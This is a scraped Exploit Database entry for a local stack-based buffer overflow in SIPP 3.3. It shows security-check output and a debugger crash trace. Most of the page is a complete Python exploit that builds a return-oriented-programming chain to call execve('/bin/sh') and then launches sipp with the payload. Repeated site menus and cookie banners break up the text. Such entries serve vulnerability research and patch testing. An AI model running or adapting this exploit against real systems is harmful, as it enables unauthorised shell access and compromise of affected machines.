

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

SIPP 3.3 - Stack-Based Buffer Overflow

EDB-ID:

45288

CVE:

N/A

EDB Verified: ✘**Author:**[JUAN SACCO](#)**Type:**[LOCAL](#)**Exploit:** / **Cookiebot**
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```
# Exploit Author: Juan Sacco <jsacco@exploitpack.com> -
http://exploitpack.com
#
# Tested on: Kali i686 GNU/Linux
#
# Description: SIPP 3.3 is prone to a local unauthenticated stack-based
overflow
# The vulnerability is due to an improper filter of user supplied input
while reading
# the configuration file and parsing the malicious crafted value.
#
# Program: SIPP 3.3 Traffic generator for the SIP protocol
# SIPP is a free Open Source test tool / traffic generator
# for the SIP protocol. Filename: pool/main/s/sipp/sipp_3.3-1kali2_i386.deb
#
# Vendor: http://sipp.sourceforge.net/
# gdb-peda$ checksec
# CANARY      : disabled
# FORTIFY     : disabled
# NX          : ENABLED
# PIE         : ENABLED
# RELRO       : Partial
#
```

Cookiebot
by Usercentrics**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
# 0x43cdcc: mov    eax,DWORD PTR [ebp+0x8]
# => 0x43cdcf: mov    eax,DWORD PTR [eax+0xc]
# 0x43cdd2: pop    ebp
# 0x43cdd3: ret
# 0x43cdd4: push   ebp
# 0x43cdd5: mov    ebp,esp
# [-----stack-----]
# 0000| 0xbfffc898 --> 0xbfffc8c8 --> 0xbfffc8e8 --> 0xbfffc908 --
>0xb7c9d000 --> 0x1d4d6c
# 0004| 0xbfffc89c --> 0x43c159 (add    esp,0x10)
# 0008| 0xbfffc8a0 ("AAAA\377\377\377\377\310\310\377\277C\301C")
# 0012| 0xbfffc8a4 --> 0xffffffff
# 0016| 0xbfffc8a8 --> 0xbfffc8c8 --> 0xbfffc8e8 --> 0xbfffc908 --
>0xb7c9d000 --> 0x1d4d6c
# 0020| 0xbfffc8ac --> 0x43c143 (add    eax,0x50ebd)
# 0024| 0xbfffc8b0 --> 0x597ba0 --> 0x0
# 0028| 0xbfffc8b4 --> 0xffffffff
# [-----]
# Legend: code, data, rodata, value
# Stopped reason: SIGSEGV
# 0x41414141 in ?? ()
```

`import os, subprocess`



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```
from struct import pack
```

```
# rop execve ( bin/sh )
rop = "A"*2208 # junk
rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi; pop
ebp ; ret
rop += pack('<I', 0x0811abe0) # @ .data
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x0807b744) # pop eax ; ret
rop += '/bin'
rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ;pop ebp
; ret
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; popedi ;pop
ebp ; ret
rop += pack('<I', 0x0811abe4) # @ .data + 4
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x0807b744) # pop eax ; ret
```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
rop += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret
rop += pack('<I', 0x0811abe0) # @ .data
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x08067b43) # pop ecx ; ret
rop += pack('<I', 0x0811abe8) # @ .data + 8
rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi; pop
ebp ; ret
rop += pack('<I', 0x0811abe8) # @ .data + 8
rop += pack('<I', 0x0811abe0) # padding without overwrite ebx
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

```
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080c861f) # int 0x80
```

try:

```
print("[*] SIPP 3.3 Buffer Overflow by Juan Sacco")
print("[*] Please wait.. running")
subprocess.call(["sipp ", rop])
```

except OSError as e:

```
if e.errno == os.errno.ENOENT:
    print "SIPP not found!"
```

else:

```
print "Error executing exploit"
raise
```

Tags: [Local Buffer Overflow](#)Advisory/Source: [Link](#)

Databases ▾

Cookiebot
by Usercentrics**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >